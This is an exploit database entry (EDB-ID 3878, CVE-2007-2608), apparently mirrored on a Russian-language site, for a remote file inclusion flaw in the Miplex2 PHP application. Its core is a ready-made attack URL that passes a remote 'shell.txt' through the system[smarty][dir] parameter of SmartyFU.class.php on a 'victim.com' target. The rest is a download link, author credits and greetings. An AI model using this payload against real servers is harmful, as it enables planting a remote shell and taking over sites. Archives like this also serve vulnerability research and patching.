Exploit Miplex2 - 'SmartyFU.class.php' Remote File Inclusion

[Exploiter]

EDB-ID

3878

Проверка EDB

1. Пройдено

Автор

THE TIGER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-2608

Дата публикации

2007-05-08

#Miplex2 Remote file inclusion

#Download script : http://download.berlios.de/miplex2/miplex2alpha.tar.gz

#Thanks Str0ke

#Exploit :

#http://victim.com/[miplex2_paht]/lib/smarty/SmartyFU.class.php?system[smarty][dir]=shell.txt?

#Discovered by : ThE TiGeR

#Greetz : Reda, â„¢~${{BraveHeart}}$~â„¢

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-08]